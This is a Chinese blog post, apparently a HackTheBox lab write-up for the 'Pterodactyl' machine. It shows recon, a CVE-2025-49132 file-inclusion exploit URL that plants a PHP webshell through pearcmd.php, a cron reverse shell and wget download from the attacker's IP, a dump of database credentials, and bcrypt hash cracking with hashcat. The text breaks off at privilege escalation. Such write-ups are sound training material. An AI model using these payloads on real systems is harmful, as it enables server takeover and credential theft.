{"id":393,"date":"2026-02-09T12:40:45","date_gmt":"2026-02-09T04:40:45","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=393"},"modified":"2026-05-10T09:49:42","modified_gmt":"2026-05-10T01:49:42","slug":"393","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2026\/02\/09\/393\/","title":{"rendered":"HTB\u9776\u673a Pterodactyl \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.129.174.98<\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.174.98 (10.129.174.98) 56(84) bytes of data.\n64 bytes from 10.129.174.98: icmp_seq=1 ttl=63 time=122 ms\n64 bytes from 10.129.174.98: icmp_seq=2 ttl=63 time=145 ms\n64 bytes from 10.129.174.98: icmp_seq=3 ttl=63 time=81.3 ms\n64 bytes from 10.129.174.98: icmp_seq=4 ttl=63 time=164 ms\n\n--- 10.129.174.98 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 81.338\/128.058\/163.731\/30.780 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.98 scan initiated Sun Feb  8 08:35:50 2026 as: \/usr\/lib\/nmap\/nmap -sA -p- --min-rate 3000 -oN ack_report.txt 10.129.174.98\nNmap scan report for 10.129.174.98\nHost is up (0.082s latency).\nNot shown: 65481 filtered tcp ports (no-response), 50 filtered tcp ports (admin-prohibited)\nPORT     STATE      SERVICE\n22\/tcp   unfiltered ssh\n80\/tcp   unfiltered http\n443\/tcp  unfiltered https\n8080\/tcp unfiltered http-proxy\n\n# Nmap done at Sun Feb  8 08:36:35 2026 -- 1 IP address (1 host up) scanned in 45.14 seconds<\/code><\/pre>\n<p>\u9776\u673a\u7591\u4f3c\u5f00\u653e<code>4<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.98 scan initiated Sun Feb  8 08:37:37 2026 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_report.txt 10.129.174.98\nNmap scan report for 10.129.174.98\nHost is up (0.11s latency).\nNot shown: 65485 filtered tcp ports (no-response), 46 filtered tcp ports (host-unreach)\nPORT     STATE  SERVICE    VERSION\n22\/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)\n| ssh-hostkey: \n|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)\n|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)\n80\/tcp   open   http       nginx 1.21.5\n|_http-server-header: nginx\/1.21.5\n|_http-title: Did not follow redirect to http:\/\/pterodactyl.htb\/\n443\/tcp  closed https\n8080\/tcp closed http-proxy\nAggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 (92%), OpenWrt 22.03 (Linux 5.10) (92%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (92%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   123.39 ms 10.10.16.1\n2   123.60 ms 10.129.174.98\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Feb  8 08:38:41 2026 -- 1 IP address (1 host up) scanned in 64.08 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.98 scan initiated Sun Feb  8 08:39:31 2026 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.174.98\nWarning: 10.129.174.98 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.174.98\nHost is up (0.090s latency).\nAll 65535 scanned ports on 10.129.174.98 are in ignored states.\nNot shown: 65290 open|filtered udp ports (no-response), 245 filtered udp ports (admin-prohibited)\n\n# Nmap done at Sun Feb  8 08:43:32 2026 -- 1 IP address (1 host up) scanned in 241.44 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u8fd0\u884c<code>Linux<\/code>\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5f00\u653e\u4e86<code>22\/ssh<\/code>\u548c<code>80\/http<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u4e3a<code>pterodactyl.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ssh<\/code>\u5de5\u5177\u8fde\u63a5\u9776\u673a\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@pterodactyl.htb<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770511719141-c5700498-d94e-4013-9dfe-7b04cac5aeaa.png\" alt=\"\" \/><\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u5728\u5f00\u59cb\u8fdb\u884c<code>Web<\/code>\u5e94\u7528\u63a2\u6d4b\u524d\uff0c\u9996\u5148\u8fdb\u884c\u865a\u62df\u4e3b\u673a\u540d\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-shell\">wfuzz -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/bitquark-subdomains-top100000.txt -t 70 -u 10.129.10.249 -H \"Host: FUZZ.pterodactyl.htb\" --hh 145 --hc 400<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770600452649-e64ffb3e-a2d2-499d-931f-f641588dcc29.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a<code>Web<\/code>\u670d\u52a1\u5b58\u5728<code>panel<\/code>\u865a\u62df\u4e3b\u673a\u3002<\/p>\n<p>\u9996\u5148\u6253\u5f00\u4e3b\u7ad9\u70b9\uff1a<code>http:\/\/pterodactyl.htb\/<\/code><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770600560165-934b7789-0dd3-480c-a970-829042a164b6.png\" alt=\"\" \/><\/p>\n<p>\u8be5\u7ad9\u70b9\u8c8c\u4f3c\u4e3a\u81ea\u5efa\u7684<code>Minecraft<\/code>\u6e38\u620f\u670d\u52a1\u5668\uff0c\u4e3b\u9875\u4e0a\u9664\u4e86\u4e00\u4e2a\u5e76\u4e0d\u5b58\u5728\u7684\u5b50\u57df\u540d<code>play.pterodactyl.htb<\/code>\u5916\uff0c\u8fd8\u6709\u4e00\u4e2a<code>Changelog<\/code>\u94fe\u63a5\u3002<\/p>\n<p>\u70b9\u51fb\u8be5\u94fe\u63a5\uff0c\u9875\u9762\u8df3\u8f6c\u5230\u4e86<code>\/changelog.txt<\/code>\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-plain\">MonitorLand - CHANGELOG.txt\n======================================\n\nVersion 1.20.X\n\n[Added] Main Website Deployment\n--------------------------------\n- Deployed the primary landing site for MonitorLand.\n- Implemented homepage, and link for Minecraft server.\n- Integrated site styling and dark-mode as primary.\n\n[Linked] Subdomain Configuration\n--------------------------------\n- Added DNS and reverse proxy routing for play.pterodactyl.htb.\n- Configured NGINX virtual host for subdomain forwarding.\n\n[Installed] Pterodactyl Panel v1.11.10\n--------------------------------------\n- Installed Pterodactyl Panel.\n- Configured environment:\n  - PHP with required extensions.\n  - MariaDB 11.8.3 backend.\n\n[Enhanced] PHP Capabilities\n-------------------------------------\n- Enabled PHP-FPM for smoother website handling on all domains.\n- Enabled PHP-PEAR for PHP package management.\n- Added temporary PHP debugging via phpinfo()<\/code><\/pre>\n<p>\u66f4\u65b0\u65e5\u5fd7\u4e2d\u79f0\uff0c\u7ad9\u70b9\u5b89\u88c5\u4e86\u7ffc\u9f99\u9762\u677f<code>v1.11.10<\/code>\u7248\u672c\u4f5c\u4e3a\u6e38\u620f\u670d\u52a1\u5668\u7684\u7ba1\u7406\u7cfb\u7edf\uff0c\u9664\u6b64\u4e4b\u5916\u8fd8\u542f\u7528\u4e86<code>PHP-PEAR<\/code>\u4f5c\u4e3a\u529f\u80fd\u652f\u6301\uff0c\u5e76\u6dfb\u52a0\u4e86\u4e00\u4e2a<code>phpinfo<\/code>\u9875\u9762\u3002<\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\">dirsearch -u http:\/\/pterodactyl.htb -x 400,403,404 -t 70 -e php,js,html,txt,zip,tar.gz,xml,json,log,md<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770601148434-7367d2e4-697a-4196-9dc2-433e0cda7c26.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>PHPInfo<\/code>\u7a0b\u5e8f\u6587\u4ef6\uff0c\u4f7f\u7528\u6d4f\u89c8\u5668\u8bbf\u95ee\uff0c\u5927\u81f4\u67e5\u770b<code>PHP<\/code>\u914d\u7f6e\u4fe1\u606f\uff1a<code>http:\/\/pterodactyl.htb\/phpinfo.php<\/code><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770601306932-dedbd4db-9f37-4526-9eb6-b422c3165d18.png\" alt=\"\" \/><\/p>\n<p>\u5728\u7ffb\u9605\u914d\u7f6e\u4fe1\u606f\u7684\u8fc7\u7a0b\u4e2d\uff0c\u53d1\u73b0<code>PHP<\/code>\u63d2\u4ef6\u7a0b\u5e8f\u7684\u5b58\u653e\u8def\u5f84\u4e3a<code>\/usr\/share\/php\/PEAR<\/code>\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770601586810-2595ec17-ca7c-4a6c-8b39-f7d04eb12aa8.png\" alt=\"\" \/><\/p>\n<p>\u8bbf\u95ee\u5b50\u7ad9\u70b9<code>http:\/\/panel.pterodactyl.htb<\/code>\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770601976437-0e364681-4af9-4fa4-ad5e-b5036646105d.png\" alt=\"\" \/><\/p>\n<p>\u663e\u7136\u8be5\u5b50\u7ad9\u70b9\u8fd0\u884c\u7ffc\u9f99\u9762\u677f\u3002<\/p>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u7ffc\u9f99\u9762\u677f\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u9776\u673a<code>Web<\/code>\u670d\u52a1<code>panel<\/code>\u5b50\u7ad9\u70b9\u8fd0\u884c\u7ffc\u9f99\u9762\u677f\uff0c\u6839\u636e\u4e3b\u7ad9\u70b9\u5185\u66f4\u65b0\u65e5\u5fd7\u63cf\u8ff0\uff0c\u7ffc\u9f99\u9762\u677f\u7248\u672c\u4e3a<code>v1.11.10<\/code>\uff0c\u5e76\u5b89\u88c5\u4e86<code>PHP-Pear<\/code>\u63d2\u4ef6\uff0c\u73b0\u5728\u5c1d\u8bd5\u5bf9\u5176\u8fdb\u884c\u679a\u4e3e\u3002<\/p>\n<p>\u9996\u5148\u8054\u7f51\u67e5\u8be2\u8be5\u7248\u672c\u7ffc\u9f99\u9762\u677f\u7684\u516c\u5f00\u6f0f\u6d1e\uff1a<a href=\"https:\/\/www.freebuf.com\/articles\/vuls\/457142.html\" target=\"_blank\"  rel=\"nofollow\" >CVE-2025-49132 \u2014 Pterodactyl Panel \u672a\u6388\u6743\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u6df1\u5ea6\u7814\u7a76\u62a5\u544a - FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770603366513-39ba458a-9acf-4ecd-9d80-52c3ea8c2d7c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u672a\u6388\u6743\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<code>CVE-2025-49132<\/code>\uff01\u901a\u8fc7\u9605\u8bfb\u6587\u7ae0\u5206\u6790\u90e8\u5206\uff0c\u53ef\u5f97\u77e5\u8be5\u6f0f\u6d1e\u7684\u672c\u8d28\u4e3a<code>PHP<\/code>\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002\u7ffc\u9f99\u9762\u677f<code>\/locales\/locale.json<\/code>\u63a5\u53e3\u63a5\u6536<code>locale<\/code>\u548c<code>namespace<\/code>\u4e24\u4e2a\u53c2\u6570\uff0c\u5e76\u5728\u672a\u7ecf\u4efb\u4f55\u8fc7\u6ee4\u68c0\u67e5\u7684\u60c5\u51b5\u4e0b\uff0c\u5c31\u5c06\u5176\u62fc\u63a5\u5230\u8bb0\u5f55<code>PHP<\/code>\u6587\u4ef6\u8def\u5f84\u7684\u5b57\u7b26\u4e32\u4e2d\uff08\u5b57\u7b26\u4e32\u6700\u540e\u4e3a<code>.php<\/code>\uff0c\u65e0\u6cd5\u8fdb\u884c\u622a\u65ad\u7b49\u64cd\u4f5c\uff09\uff0c\u968f\u540e\u76f4\u63a5\u5c06\u62fc\u63a5\u540e\u7684\u6587\u4ef6\u8def\u5f84\u5b57\u7b26\u4e32\u4f20\u9012\u7ed9\u4e86<code>Laravel FileLoader<\/code>\u7c7b\u7684<code>load<\/code>\u65b9\u6cd5\u4e2d\uff0c\u5bfc\u81f4\u672a\u901a\u8fc7\u6388\u6743\u653b\u51fb\u8005\u53ef\u4ee5\u52a0\u8f7d\u4efb\u610f<code>PHP<\/code>\u811a\u672c\u6267\u884c\u3002\u7531\u4e8e\u7ffc\u9f99\u9762\u677f\u9700\u8981\u4f7f\u7528<code>PHP-Pear<\/code>\u63d2\u4ef6\uff0c\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u5305\u542b<code>pearcmd.php<\/code>\u7ec4\u4ef6\u7684\u65b9\u6cd5\u5199\u5165\u6076\u610f<code>PHP<\/code>\u811a\u672c\uff0c\u968f\u540e\u518d\u6b21\u5229\u7528\u8be5\u6f0f\u6d1e\u52a0\u8f7d\u65b0\u5199\u5165\u7684\u811a\u672c\uff0c\u8fdb\u884c\u4efb\u610f\u4ee3\u7801\u6267\u884c\u64cd\u4f5c\u3002<\/p>\n<blockquote><p>\u6ce8\uff1a\u5173\u4e8e<code>pearcmd.php<\/code>\u811a\u672c\u7684\u5229\u7528\u65b9\u6cd5\uff0c\u53ef\u53c2\u8003\u6587\u7ae0<a href=\"https:\/\/blog.csdn.net\/weixin_53090346\/article\/details\/127241278\" target=\"_blank\"  rel=\"nofollow\" >LFI TO RCE\u4e4bpearcmd.php\u7684\u5999\u7528-CSDN\u535a\u5ba2<\/a>\u3002<\/p><\/blockquote>\n<p>\u73b0\u5728\u5bf9\u8be5\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\uff0c\u9996\u5148\u6839\u636e\u6f0f\u6d1e\u539f\u7406\uff0c\u6784\u9020\u51fa\u5229\u7528<code>URL<\/code>\uff0c\u521b\u5efa<code>PHP<\/code>\u540e\u95e8\uff1a<\/p>\n<pre><code class=\"language-plain\">http:\/\/panel.pterodactyl.htb\/locales\/locale.json?+config-create+\/&amp;locale=..\/..\/..\/..\/..\/..\/usr\/share\/php\/PEAR&amp;namespace=pearcmd&amp;\/&lt;?=system($_GET['cmd'])?&gt;+\/tmp\/shell.php<\/code><\/pre>\n<p>\u968f\u540e\u6253\u5f00<code>BurpSuite<\/code>\uff0c\u62e6\u622a\u4e00\u4e2a\u6b63\u5e38\u7684<code>GET<\/code>\u8bf7\u6c42\uff0c\u5c06\u5176\u53d1\u9001\u81f3<code>Repeater<\/code>\uff0c\u7136\u540e\u6dfb\u52a0\u6076\u610f\u8bf7\u6c42\u53c2\u6570\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770605687931-5a0c43d3-2bd5-4e61-b41a-775b8a3293d8.png\" alt=\"\" \/><\/p>\n<p>\u5199\u5165\u6587\u4ef6\u6210\u529f\uff01\u73b0\u5728\u518d\u6b21\u5229\u7528\u6f0f\u6d1e\uff0c\u5305\u542b\u521b\u5efa\u7684<code>PHP<\/code>\u6728\u9a6c\uff1a<code>http:\/\/panel.pterodactyl.htb\/locales\/locale.json?locale=..\/..\/..\/..\/..\/tmp&amp;namespace=shell&amp;cmd=id<\/code><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770605840650-9574fe97-e7cf-49de-b423-77887e8384bd.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u521b\u5efa\u6076\u610f\u6728\u9a6c\uff01\u76f4\u63a5\u5728\u672c\u5730\u65b0\u5efa\u53cd\u5f39<code>Shell<\/code>\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\u6587\u4ef6\uff0c\u540c\u65f6\u6253\u5f00<code>SimpleHTTPServer<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-plain\">*\/1 * * * * \/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.16.6\/443 0&gt;&amp;1'<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>PHP<\/code>\u6728\u9a6c\u6267\u884c\u547d\u4ee4\uff0c\u4e0b\u8f7d\u5e76\u6dfb\u52a0\u6076\u610f\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">wget http:\/\/10.10.16.6\/revshell_cron.txt -O \/tmp\/revshell_cron.txt\ncat \/tmp\/revshell_cron.txt | crontab<\/code><\/pre>\n<p>\u6253\u5f00<code>netcat<\/code>\u76d1\u542c\uff0c\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u6210\u529f\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770606214398-6057888a-bd98-4073-ac28-8f6242306fd3.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u8fd0\u884c<code>openSUSE Leap v15.6<\/code>\u64cd\u4f5c\u7cfb\u7edf\u3002<\/p>\n<h2>\u7206\u7834phileasfogg3\u7528\u6237\u5bc6\u7801<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u6267\u884c\u6570\u636e\u5e93\u679a\u4e3e\u3002\u5728\u7ffc\u9f99\u9762\u677f\u5b89\u88c5\u76ee\u5f55<code>\/var\/www\/pterodactyl\/<\/code>\u4e0b\u53d1\u73b0\u73af\u5883\u53d8\u91cf\u914d\u7f6e\u6587\u4ef6<code>.env<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">cd \/var\/www\/pterodactyl\ncat .env<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607054111-67e57445-98c7-4245-a048-a690d58c26fd.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u6570\u636e\u5e93\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u670d\u52a1\u5668\u5730\u5740\uff1a<code>127.0.0.1:3306<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>pterodactyl<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>PteraPanel<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>MySQL<\/code><\/p>\n<pre><code class=\"language-shell\">mysql -h 127.0.0.1 -u pterodactyl -p<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607205314-bebcb986-b6a1-4667-a95d-0f15617b4d2e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u53d1\u73b0\u5b58\u5728<code>panel<\/code>\u6570\u636e\u5e93\uff0c\u67e5\u770b\u8be5\u6570\u636e\u5e93\u5185\u6240\u6709\u8868\uff1a<\/p>\n<pre><code class=\"language-plsql\">use panel;\nshow tables;<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607335758-36a95bf8-5089-450f-bfcf-ca46664f3541.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5b58\u5728<code>users<\/code>\u8868\uff0c\u67e5\u770b\u8be5\u8868\u7ed3\u6784\uff1a<\/p>\n<pre><code class=\"language-plsql\">describe users;<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607376366-2a414b40-e0e4-4453-b8b1-ea3e100c4356.png\" alt=\"\" \/><\/p>\n<p>\u6839\u636e\u5b57\u6bb5\u540d\u79f0\u53ef\u5224\u65ad\u8be5\u8868\u4e3a\u7528\u6237\u4fe1\u606f\u8868\u3002\u67e5\u770b<code>username<\/code>\u548c<code>password<\/code>\u5b57\u6bb5\u6240\u6709\u6570\u636e\uff1a<\/p>\n<pre><code class=\"language-plsql\">SELECT username,password FROM users;<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607499107-67cede45-2909-47d3-b284-e0ec0e9eb2dc.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5b58\u5728\u548c\u7cfb\u7edf\u7528\u6237\u76f8\u543b\u5408\u7684\u4e24\u4e2a\u7ffc\u9f99\u9762\u677f\u7528\u6237<code>headmonitor<\/code>\u548c<code>phileasfogg3<\/code>\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607596153-130e0edf-85a5-4b95-8af2-85a7b150c2c6.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>hashcat<\/code>\u5de5\u5177\u7206\u7834<code>phileasfogg3<\/code>\u7528\u6237\u7684<code>BCrypt<\/code>\u5bc6\u7801\u54c8\u5e0c\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\/hashcat.exe -m 3200 -a 0 \"`$2y`$10`$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi\" .\/rockyou.txt --force<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607816653-a6ec0bfc-b6fd-4b3b-98d1-5056961a6c1c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u7cfb\u7edf\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>phileasfogg3<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>!QAZ2wsx<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh phileasfogg3@pterodactyl.htb<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770607952940-01822b04-66b2-45a8-8f46-3da0cd42fb4b.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>sudo -l<\/code>\u547d\u4ee4\u786e\u5b9a\u5f53\u524d\u7528\u6237<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770608080476-f0ead401-81d0-4c28-94c8-a94c0bca114f.png\" alt=\"\" 